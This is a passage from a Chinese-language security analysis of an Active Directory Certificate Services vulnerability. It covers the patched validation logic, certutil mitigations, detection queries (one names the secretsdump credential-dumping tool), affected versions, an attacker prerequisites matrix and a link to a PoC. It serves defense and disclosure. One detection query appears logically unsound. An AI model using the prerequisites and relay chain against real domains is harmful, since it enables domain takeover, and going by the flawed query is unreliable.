=== 补丁后 ===
CA 收到 enrollment 请求
  |- 校验请求方凭据 (ROGUE$) -> OK
  |- 校验模板权限 -> OK
  |- 解析终端实体
       |- 触发 chase 回退
       |- 读取 cdc=attacker.host
       |- _ValidateChaseTargetIsDC(cdc)
            |- 检查 IP 字面量 -> 拒绝 (attacker.host 是 DNS 名,继续)
            |- 检查长度 -> OK
            |- 检查 LDAP 元字符 -> OK
            |- LDAP 查询 AD 中 dNSHostName=attacker.host 的对象
            |- 查询结果: 0 个对象  -> 拒绝 (非域内计算机)
            |- 或查询结果: ROGUE$ (userAccountControl=4096)
                 |- 8192 标志缺失 -> 拒绝 (非域控)
       |- 校验失败 -> 拒绝 enrollment
  |- 返回错误

9. 临时缓解与检测

9.1 临时缓解:禁用 chase 回退

对于无法立即打补丁的环境,微软提供了通过 certutil 禁用 chase 回退的临时缓解措施。该措施通过清除 EDITF_ENABLECHASECLIENTDC 标志位实现:

# 清除 EDITF_ENABLECHASECLIENTDC 标志
certutil -setreg policy\EditFlags -EDITF_ENABLECHASECLIENTDC

# 重启 CertSvc 服务使配置生效
Restart-Service CertSvc -Force

执行后,CA 将不再接受请求中的 cdc 属性,chase 回退路径被完全关闭。所有 enrollment 请求必须通过 CA 默认的 LDAP 查询路径解析终端实体身份。

注意事项:

  • 该标志位需要在一台一台 CA 上分别设置(多 CA 环境需逐台操作)
  • 重启 CertSvc 会导致正在进行的 enrollment 请求失败,建议在维护窗口执行
  • 该缓解是"过度防御":合法的跨站点 enrollment 场景可能依赖 chase 回退,禁用后这些场景需要重新设计网络可达性
  • 该缓解不能替代补丁——补丁提供了更精细的校验(允许合法 chase、拒绝恶意 chase),而该标志位是开关式禁用

9.2 验证缓解生效

# 查看当前 EditFlags
certutil -getreg policy\EditFlags

# 输出中应看不到 EDITF_ENABLECHASECLIENTDC 标志
# EditFlags:
#     EDITF_DISABLEEXTENSIONLIST (0x00000001)
#     EDITF_ADDOLDKEYUSAGE (0x00000002)
#     ...
#     (EDITF_ENABLECHASECLIENTDC 应已消失)

9.3 检测方案

检测点 1:enrollment 请求中的 cdc 属性

在 CA 上启用审核,记录所有带 cdc 属性的 enrollment 请求。补丁后环境中,合法请求通常不带 cdc;带 cdc 的请求高度可疑:

# 启用 CA 审核日志
certutil -setreg policy\AuditFlag +CERTLOG_AUDIT_ENROLLMENT
Restart-Service CertSvc -Force

# 在事件查看器中查看 Security 日志
# 事件 ID 4886 (Certificate Services received a certificate request)
# 事件 ID 4887 (Certificate Services approved a certificate request)
# 检查请求属性中是否包含 cdc

检测点 2:CA 出站连接 445/389 到非 DC 主机

CA 在正常情况下不应主动向域内非 DC 主机发起 SMB(445)或 LDAP(389)连接。监测 CA 主机的出站连接,对 445/389 目标做 DC 白名单校验:

// Microsoft Defender for SIEM / Sentinel KQL 查询示例
DeviceNetworkEvents
| where DeviceName startswith "CORP-CA01"
| where RemotePort in (445, 389)
| where RemoteDeviceName !endswith "-DC"   // 根据命名约定调整
| where RemoteIP !in (DC_IP_LIST)
| project TimeGenerated, DeviceName, RemoteIP, RemotePort, RemoteDeviceName

检测点 3:PKINIT 异常证书使用

监测 KDC 上的 PKINIT 认证事件。一台机器通过 PKINIT 认证为 DC 身份是罕见行为,值得告警:

事件 ID 4768 (Kerberos Authentication Ticket (TGT) Request)
- 证书指纹对应的计算机账户
- 该账户是否本应通过 PKINIT 认证(仅 DC / 配置了证书认证的服务账户)
- 颁发 CA 是否为预期的内部 CA

检测点 4:DRSUAPI 调用源异常

监测 DC 上的 DRSUAPI 调用。合法的 DRSUAPI 调用应来自其他 DC;来自非 DC 主机或新出现的主机高度可疑:

DeviceProcessEvents
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName in (~"wmic", ~"python", ~"secretsdump")
| project TimeGenerated, DeviceName, InitiatingProcessFileName, AccountName

10. 影响范围与版本矩阵

10.1 受影响版本

产品版本 受影响 备注
Windows Server 2012 / 2012 R2 是 已脱离主流支持,需 ESU
Windows Server 2016 是
Windows Server 2019 是
Windows Server 2022 是
Windows Server 2025 是
Windows 10 1607 是 LTSC 渠道
Windows 10 1809 是 LTSC 渠道
Windows 11 视配置 仅作为 CA 部署时受影响(罕见)
Windows 10 其他版本 否 非 LTSC 已 EOL

10.2 利用前提条件矩阵

前提条件 是否必需 默认满足率 备注
任意域用户账户 是 高 钓鱼/凭据窃取即可获得
Enterprise CA(非 Standalone) 是 中大型企业高 Standalone CA 不实现 chase 回退
Machine 模板启用且默认配置 是 极高 几乎所有 AD CS 部署默认启用
ms-DS-MachineAccountQuota > 0 是 极高 默认值 10
网络可达 CA 的 RPC/DCOM 端点 是 高 域内默认可达
攻击者主机可被 CA 反向连接(445/389) 是 中 取决于网络分段
目标 DC 与攻击者主机网络可达 是 高 同域内默认可达

10.3 补丁矩阵

KB 编号 适用版本 发布日期
KB5040437 Windows Server 2022 2026-07-14
KB5040442 Windows Server 2019 2026-07-14
KB5040430 Windows Server 2016 2026-07-14
KB5040434 Windows Server 2025 2026-07-14
KB5040458 Windows Server 2012 R2 (ESU) 2026-07-14
KB5040461 Windows 10 1607 (LTSC) 2026-07-14
KB5040467 Windows 10 1809 (LTSC) 2026-07-14

11. 深层启示

11.1 "默认安全"假设的再次破产

Certighost 的出现,是对"默认配置即安全"假设的又一次沉重打击。过去十年,业界在 ADCS 安全上形成了清晰的认知模型:模板配置错误是 ADCS 攻击的几乎全部根源,只要审计到位、基线合规,AD CS 就是企业 PKI 中可信的一环。Certighost 证明,这个认知模型的覆盖范围远比想象中狭窄——它只覆盖了"配置层"的缺陷,对"协议设计层"的缺陷束手无策。

更值得警惕的是,chase 回退机制本身并非"新功能"。它在 AD CS 中存在了十余年,被无数安全审计、渗透测试、学术研究检视过,却始终被视为"正常的设计特性"而非"潜在漏洞"。这提示我们:安全审计的盲区往往不在于"看不清细节",而在于"对设计前提的默认信任"。审计者天然倾向于质疑"配置是否偏离基线",却很少质疑"基线本身是否合理"。

11.2 授权与认证的解耦风险

从漏洞机制上看,Certighost 是一个典型的"授权与认证解耦"缺陷。CA 在处理 enrollment 时:

  • 认证路径:校验请求方凭据(ROGUE$ 通过)
  • 授权路径:决定是否签发(基于模板权限 + 终端实体身份)

两条路径在补丁前是完全独立的。认证通过后,授权路径并不重新校验"请求方是否就是终端实体",导致攻击者可以用 A 的凭据为 B 签发证书。补丁中的 SID 一致性校验,本质上是把这两条路径重新耦合起来——签发时强制要求"请求方 SID 必须与终端实体 SID 一致(或具备合法授权)"。

这种"认证授权解耦"的反模式在 Windows 安全子系统中并不孤立。ADCS 的 ESC1(ENROLLEE_SUPPLIES_SUBJECT)、Kerberos 的 S4U2Self/S4U2Proxy、NTLM 的 relay 类问题,本质上都是认证与授权解耦导致的不同表现形式。Certighost 提示我们:任何允许"用 A 的凭据影响 B 的授权"的设计,都应当被视作高风险,必须在协议层面强制耦合。

11.3 relay 攻击的演化

Certighost 中的 challenge relay 环节,是 NTLM/Kerberos relay 攻击演化的一个新阶段。传统 relay 攻击(如 PetitPotam、PrinterBug)的目标是把认证流量 relay 到目标服务,从而以目标身份访问该服务。Certighost 的 relay 目标是 DC 的 Netlogon,但目的不是"以 DC 身份访问 Netlogon",而是"借用 Netlogon 的认证响应来提取 DC 的身份属性"。

这是一种信息抽取型 relay,而非传统的访问代理型 relay。relay 的目的从"借身份访问服务"演化为"借服务吐身份"。这种演化对防御方提出了新的要求:relay 检测不能只关注"是否有异常的认证流量到达高价值服务",还要关注"是否有认证响应被用于非常规的属性提取"。

11.4 PKI 信任链的最弱环节

AD CS 作为企业 PKI 的核心,其安全模型建立在一个隐含信任上:CA 签发的证书主体是可信的。下游服务(KDC、IIS、802.1X、S/MIME)在校验证书时,只校验签名链与 EKU,几乎从不质疑"主体是否被正确签发"。Certighost 让一张主体为 DC01 的"合法"证书流入攻击者手中,所有下游校验都会通过——因为证书本身在 PKI 层面完全合法。

这揭示了 PKI 信任链的一个根本脆弱点:信任链的安全性强等于其最弱环节的强度。CA 的签发逻辑如果存在授权缺陷,整条信任链的下游校验都将成为无效的"门面"。防御方不能只盯着"证书校验"这一环,必须回溯到"证书签发"这一源头。

11.5 防御方的行动建议

基于以上分析,对防御方提出以下行动建议:

  1. 立即打补丁:所有部署了 AD CS 的 Windows Server 必须在 7 月补丁窗口内完成升级。补丁是唯一的根本性修复。
  2. 核查 Enterprise CA 清单:梳理企业内所有 Enterprise CA 部署,确认其补丁状态与 EDITF_ENABLECHASECLIENTDC 标志位状态。
  3. 暂时禁用 chase 回退:对无法立即打补丁的 CA,执行 certutil -setreg policy\EditFlags -EDITF_ENABLECHASECLIENTDC 并重启 CertSvc。
  4. 建立 CA 出站连接监控:CA 主机的出站 445/389 连接必须纳入持续监控,目标 IP 必须在 DC 白名单内。
  5. 审计 PKINIT 使用:监测所有 PKINIT 认证事件,对非预期主体(尤其是 DC 计算机账户)的 PKINIT 认证建立告警。
  6. 更新 ADCS 安全基线:将"chase 回退状态"纳入 ADCS 安全基线审计清单,作为常态化合规检查项。
  7. 重新审视信任模型:评估企业内所有"认证授权解耦"的设计点,识别潜在的同类缺陷。

12. 参考资料

  1. CVE-2026-54121 PoC 仓库 - https://github.com/aniqfakhrul/CVE-2026-54121
  2. 微软 2026 年 7 月补丁公告 - https://msrc.microsoft.com/update-guide/
  3. @h0j3n 研究者主页 - https://h0j3n.github.io/
  4. @aniqfakhrul 研究者主页 - https://aniqfakhrul.com/
  5. SpecterOps "Certified Pre-Owned" - https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf
  6. Certipy 项目 - https://github.com/ly4k/Certipy-adc
  7. MS-DRSR 协议规范 - https://learn.microsoft.com/openspecs/windows_protocols/ms-drsr/
  8. MS-WCCE 协议规范 - https://learn.microsoft.com/openspecs/windows_protocols/ms-wcce/
  9. RFC 4556 (PKINIT) - https://datatracker.ietf.org/doc/html/rfc4556
  10. Windows Server PKI 部署指南 - https://learn.microsoft.com/windows-server/identity/ad-cs/

免责声明:本文所有技术内容仅用于安全研究与防御教育。文中涉及的攻击技术、工具使用、命令示例均基于公开披露的漏洞资料,不构成对任何系统的攻击指引。请在授权范围内进行安全测试,遵守所在地区的法律法规。